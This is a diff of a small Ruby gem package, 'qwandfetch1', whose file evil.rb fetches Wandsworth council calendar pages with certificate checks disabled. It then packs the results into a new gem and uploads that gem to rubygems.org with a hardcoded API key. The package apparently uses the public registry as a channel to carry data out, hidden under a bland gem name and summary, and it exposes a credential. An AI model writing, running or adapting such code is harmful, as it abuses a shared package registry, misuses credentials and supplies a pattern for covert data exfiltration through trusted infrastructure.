qwandfetch1 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: a04a3183d1a387ac3750c1500946b63fcd4e84ec045ad422a473a93c65e5f1d6
+  data.tar.gz: dc151f3df6be02efa643fe4fa64831b683de47120bb843806f0b14be7d09b65f
+SHA512:
+  metadata.gz: bfdcec5ebcca34c7102a1ce0d18bc3e4a1a99202878353047abf5037ed0b46c3a36670ba143adb2bebe1232b5c78cafe61bea90c12f7d7158bd1a74a42bd2f59
+  data.tar.gz: a6ccda3476ffdbc3b63c7446db8ec6ecfa7c3937236bae5ef3b30da039cac15d8ed4949f99cac2bb5e63cae8713d3910324cdc4d8ef55401ef02bf499ef7df72

data/evil.rb

@@ -0,0 +1,25 @@
+begin
+ require 'net/http'; require 'uri'; require 'openssl'; require 'rubygems'; require 'fileutils'
+ # fetch calendar and parse body chunks
+ urls=['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&DD=2026','https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026','https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1']
+ body=''
+ urls.each do |url|
+  target=URI(url);h=Net::HTTP.new(target.hostname,target.port);h.use_ssl=true;h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=20; h.read_timeout=60
+  req=Net::HTTP::Get.new(target.request_uri, {'User-Agent'=>'Mozilla/5.0'});res=h.request(req)
+  body << "\n\n##### URL=#{url} STATUS=#{res.code} LEN=#{res.body.size} ####\n" << res.body
+ end
+rescue =>e
+ body='ERROR '+e.full_message
+end
+begin
+ Dir.chdir('/tmp') do
+  dir='qwout1'; FileUtils.mkdir_p(dir+'/lib')
+  File.binwrite(dir+'/lib/data.txt', body)
+  File.write(dir+'/lib/a.rb', '# done')
+  File.write(dir+'/o.gemspec',%q{Gem::Specification.new do |s|
+s.name='qwandout1'; s.version='0.0.2'; s.summary='result'; s.authors=['x']; s.files=Dir['lib/*']; s.license='MIT'; end})
+  Dir.chdir(dir){ system('gem build o.gemspec'); spec=Dir['*.gem'].first; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57'; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)} }
+ end
+rescue => e
+ warn e.full_message
+end

data/lib/a.rb

@@ -0,0 +1 @@
+module A;end

data/x.gemspec

@@ -0,0 +1,2 @@
+Gem::Specification.new do |s|
+ s.name='qwandfetch1'; s.version='0.0.1'; s.summary='z'; s.authors=['z']; s.files=Dir['**/*']; s.license='MIT'; end

metadata

@@ -0,0 +1,39 @@
+--- !ruby/object:Gem::Specification
+name: qwandfetch1
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- z
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- evil.rb
+- lib/a.rb
+- x.gemspec
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: z
+test_files: []